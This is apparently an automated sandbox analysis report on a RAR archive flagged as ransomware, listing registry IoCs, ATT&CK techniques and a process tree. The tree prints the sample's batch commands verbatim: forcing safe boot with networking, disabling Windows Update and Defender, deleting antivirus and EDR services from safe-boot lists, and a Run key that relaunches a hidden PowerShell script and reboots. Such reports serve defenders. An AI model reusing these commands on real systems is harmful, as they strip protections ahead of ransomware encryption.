e35d0e2d9e40cc9047e8428e5ca5f81ea164309cceaab678b13557321706c711

Resubmissions

23/03/2023, 08:58

230323-kw59ysef32 3

23/03/2023, 08:45

230323-kntk7aee75 9

Analysis

max time kernel
396s
max time network
398s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
23/03/2023, 08:45

Sharing

Copy URL Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

win_11 (1).rar
Size

4.4MB
MD5

c45ac6a17c9cd7fbd7c2718d10d10f5b
SHA1

2311946a6a12cf4d5f754ee409ecb56d3b9ac622
SHA256

e35d0e2d9e40cc9047e8428e5ca5f81ea164309cceaab678b13557321706c711
SHA512

f8affe3f6bf71a09297ec7d02629bfb81851aeb59dd5ab39310abb0aa3b3aac514d52da24717a63255c537fc5e615fd593016731f4769c6e9c5cc9728727656c
SSDEEP

98304:PhzBHesp/tbw5J5D3302MaIwqI4u09abw23QHB+x6aSNij3ybwVhlN:PhzBesxi5rlMaIgSHB+chWrJ

Score

9^/10

evasion persistence ransomware

Malware Config

Signatures

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2708	bcdedit.exe
3840	bcdedit.exe

Creates new service(s) 1 TTPs
persistence

New Service
T1050

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\*a = "cmd.exe /c powershell -exec bypass -w 1 -file c:\\programdata\\AAA.ps1& bcdedit /deletevalue {default} safeboot& shutdown -r -t 0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\*a = "cmd.exe /c powershell -exec bypass -w 1 -file c:\\programdata\\AAA.ps1& bcdedit /deletevalue {default} safeboot& shutdown -r -t 0"	reg.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
60	sc.exe
2088	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "218"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 19002f433a5c000000000000000000000000000000000000000000	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\NodeSlot = "1"	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = ffffffff	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\.rar	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\rar_auto_file\shell\open\command	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\.rar\ = "rar_auto_file"	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\rar_auto_file\shell\open\command\ = "\"C:\\Program Files\\7-Zip\\7zG.exe\" \"%1\""	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic"	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\tFolder膃ꀜⷺ耀\ = "rar_auto_file"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = 00000000ffffffff	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Applications	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\rar_auto_file\shell\open	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 = 50003100000000005456dd981000372d5a6970003c0009000400efbe5456dd985456dd982e00000010250200000009000000000000000000000000000000dcbec60037002d005a0069007000000014000000	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\rar_auto_file	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 8c003100000000005456aaa1110050524f4752417e310000740009000400efbe874fdb495456aaa12e0000003f0000000000010000000000000000004a000000000057260d00500072006f006700720061006d002000460069006c0065007300000040007300680065006c006c00330032002e0064006c006c002c002d0032003100370038003100000018000000	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\rar_auto_file\shell	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\MRUListEx = ffffffff	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Generic"	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Applications\7zG.exe\shell	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Applications\7zG.exe	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	OpenWith.exe

Modifies registry key 1 TTPs 33 IoCs

Modify Registry

T1112

pid	Process
880	reg.exe
736	reg.exe
4784	reg.exe
1356	reg.exe
1828	reg.exe
2768	reg.exe
4284	reg.exe
3812	reg.exe
4412	reg.exe
1096	reg.exe
184	reg.exe
2388	reg.exe
2016	reg.exe
5088	reg.exe
2164	reg.exe
4584	reg.exe
3028	reg.exe
1584	reg.exe
1384	reg.exe
3004	reg.exe
4776	reg.exe
1424	reg.exe
3808	reg.exe
4960	reg.exe
2304	reg.exe
1276	reg.exe
928	reg.exe
1892	reg.exe
4344	reg.exe
1796	reg.exe
800	reg.exe
4668	reg.exe
376	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2760	powershell_ise.exe
2760	powershell_ise.exe
2760	powershell_ise.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeRestorePrivilege	2344	7zG.exe
Token: 35	2344	7zG.exe
Token: SeRestorePrivilege	972	7zG.exe
Token: 35	972	7zG.exe
Token: SeSecurityPrivilege	972	7zG.exe
Token: SeSecurityPrivilege	972	7zG.exe
Token: SeDebugPrivilege	2760	powershell_ise.exe
Token: SeShutdownPrivilege	2204	shutdown.exe
Token: SeRemoteShutdownPrivilege	2204	shutdown.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
972	7zG.exe

Suspicious use of SetWindowsHookEx 25 IoCs

pid	Process
1752	OpenWith.exe
1752	OpenWith.exe
1752	OpenWith.exe
1752	OpenWith.exe
1752	OpenWith.exe
1752	OpenWith.exe
1752	OpenWith.exe
1752	OpenWith.exe
1752	OpenWith.exe
1752	OpenWith.exe
1752	OpenWith.exe
1752	OpenWith.exe
1752	OpenWith.exe
1752	OpenWith.exe
1752	OpenWith.exe
1752	OpenWith.exe
1752	OpenWith.exe
1752	OpenWith.exe
1752	OpenWith.exe
1752	OpenWith.exe
1752	OpenWith.exe
1752	OpenWith.exe
1752	OpenWith.exe
1752	OpenWith.exe
1536	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1752 wrote to memory of 2344	1752	OpenWith.exe	95
PID 1752 wrote to memory of 2344	1752	OpenWith.exe	95
PID 1076 wrote to memory of 2708	1076	cmd.exe	124
PID 1076 wrote to memory of 2708	1076	cmd.exe	124
PID 1076 wrote to memory of 3840	1076	cmd.exe	125
PID 1076 wrote to memory of 3840	1076	cmd.exe	125
PID 1076 wrote to memory of 3188	1076	cmd.exe	126
PID 1076 wrote to memory of 3188	1076	cmd.exe	126
PID 3188 wrote to memory of 2176	3188	net.exe	127
PID 3188 wrote to memory of 2176	3188	net.exe	127
PID 1076 wrote to memory of 60	1076	cmd.exe	128
PID 1076 wrote to memory of 60	1076	cmd.exe	128
PID 1076 wrote to memory of 3560	1076	cmd.exe	129
PID 1076 wrote to memory of 3560	1076	cmd.exe	129
PID 1076 wrote to memory of 2388	1076	cmd.exe	130
PID 1076 wrote to memory of 2388	1076	cmd.exe	130
PID 1076 wrote to memory of 3812	1076	cmd.exe	131
PID 1076 wrote to memory of 3812	1076	cmd.exe	131
PID 1076 wrote to memory of 1840	1076	cmd.exe	132
PID 1076 wrote to memory of 1840	1076	cmd.exe	132
PID 1076 wrote to memory of 4380	1076	cmd.exe	133
PID 1076 wrote to memory of 4380	1076	cmd.exe	133
PID 1076 wrote to memory of 3344	1076	cmd.exe	134
PID 1076 wrote to memory of 3344	1076	cmd.exe	134
PID 1076 wrote to memory of 440	1076	cmd.exe	135
PID 1076 wrote to memory of 440	1076	cmd.exe	135
PID 1076 wrote to memory of 2064	1076	cmd.exe	136
PID 1076 wrote to memory of 2064	1076	cmd.exe	136
PID 1076 wrote to memory of 4412	1076	cmd.exe	137
PID 1076 wrote to memory of 4412	1076	cmd.exe	137
PID 1076 wrote to memory of 1796	1076	cmd.exe	138
PID 1076 wrote to memory of 1796	1076	cmd.exe	138
PID 1076 wrote to memory of 4784	1076	cmd.exe	139
PID 1076 wrote to memory of 4784	1076	cmd.exe	139
PID 1076 wrote to memory of 1356	1076	cmd.exe	140
PID 1076 wrote to memory of 1356	1076	cmd.exe	140
PID 1076 wrote to memory of 3004	1076	cmd.exe	141
PID 1076 wrote to memory of 3004	1076	cmd.exe	141
PID 1076 wrote to memory of 376	1076	cmd.exe	142
PID 1076 wrote to memory of 376	1076	cmd.exe	142
PID 1076 wrote to memory of 1424	1076	cmd.exe	143
PID 1076 wrote to memory of 1424	1076	cmd.exe	143
PID 1076 wrote to memory of 3028	1076	cmd.exe	144
PID 1076 wrote to memory of 3028	1076	cmd.exe	144
PID 1076 wrote to memory of 3808	1076	cmd.exe	145
PID 1076 wrote to memory of 3808	1076	cmd.exe	145
PID 1076 wrote to memory of 4960	1076	cmd.exe	146
PID 1076 wrote to memory of 4960	1076	cmd.exe	146
PID 1076 wrote to memory of 800	1076	cmd.exe	147
PID 1076 wrote to memory of 800	1076	cmd.exe	147
PID 1076 wrote to memory of 4584	1076	cmd.exe	148
PID 1076 wrote to memory of 4584	1076	cmd.exe	148
PID 1076 wrote to memory of 1096	1076	cmd.exe	149
PID 1076 wrote to memory of 1096	1076	cmd.exe	149
PID 1076 wrote to memory of 2016	1076	cmd.exe	150
PID 1076 wrote to memory of 2016	1076	cmd.exe	150
PID 1076 wrote to memory of 2304	1076	cmd.exe	151
PID 1076 wrote to memory of 2304	1076	cmd.exe	151
PID 1076 wrote to memory of 1276	1076	cmd.exe	152
PID 1076 wrote to memory of 1276	1076	cmd.exe	152
PID 1076 wrote to memory of 1584	1076	cmd.exe	153
PID 1076 wrote to memory of 1584	1076	cmd.exe	153
PID 1076 wrote to memory of 928	1076	cmd.exe	154
PID 1076 wrote to memory of 928	1076	cmd.exe	154

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\win_11 (1).rar"
1⤵
- Modifies registry class
PID:4556

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1752
- C:\Program Files\7-Zip\7zG.exe
  "C:\Program Files\7-Zip\7zG.exe" "C:\Users\Admin\AppData\Local\Temp\win_11 (1).rar"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2344

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1820

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\win_11 (1)\" -spe -an -ai#7zMap4182:78:7zEvent12509
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:972

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Desktop\win_11 (1)\1.bat
1⤵
PID:2564

C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe" "C:\Users\Admin\Desktop\win_11 (1)\AAA.ps1"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2760

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\win_11 (1)\1.bat" "
1⤵
- Suspicious use of WriteProcessMemory
PID:1076
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} safeboot network
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2708
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} safeboot network
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3840
- C:\Windows\system32\net.exe
  net stop wuauserv
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3188
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop wuauserv
    3⤵
    PID:2176
- C:\Windows\system32\sc.exe
  sc config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:60
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  PID:3560
- C:\Windows\system32\reg.exe
  reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SAVService /f
  2⤵
  - Modifies registry key
  PID:2388
- C:\Windows\system32\reg.exe
  reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SAVAdminService /f
  2⤵
  - Modifies registry key
  PID:3812
- C:\Windows\system32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Sophos File Scanner Service" /f
  2⤵
  PID:1840
- C:\Windows\system32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ekrnEpfw" /f
  2⤵
  PID:4380
- C:\Windows\system32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EHttpSrv" /f
  2⤵
  PID:3344
- C:\Windows\system32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ekrn" /f
  2⤵
  PID:440
- C:\Windows\system32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CSFalconService" /f
  2⤵
  PID:2064
- C:\Windows\system32\reg.exe
  reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SentinelAgent /f
  2⤵
  - Modifies registry key
  PID:4412
- C:\Windows\system32\reg.exe
  reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SentinelStaticEngine /f
  2⤵
  - Modifies registry key
  PID:1796
- C:\Windows\system32\reg.exe
  reg delete HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon /v legalnoticecaption /f
  2⤵
  - Modifies registry key
  PID:4784
- C:\Windows\system32\reg.exe
  reg delete HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon /v legalnoticetext /f
  2⤵
  - Modifies registry key
  PID:1356
- C:\Windows\system32\reg.exe
  reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticecaption /f
  2⤵
  - Modifies registry key
  PID:3004
- C:\Windows\system32\reg.exe
  reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticetext /f
  2⤵
  - Modifies registry key
  PID:376
- C:\Windows\system32\reg.exe
  reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SepLpsService /f
  2⤵
  - Modifies registry key
  PID:1424
- C:\Windows\system32\reg.exe
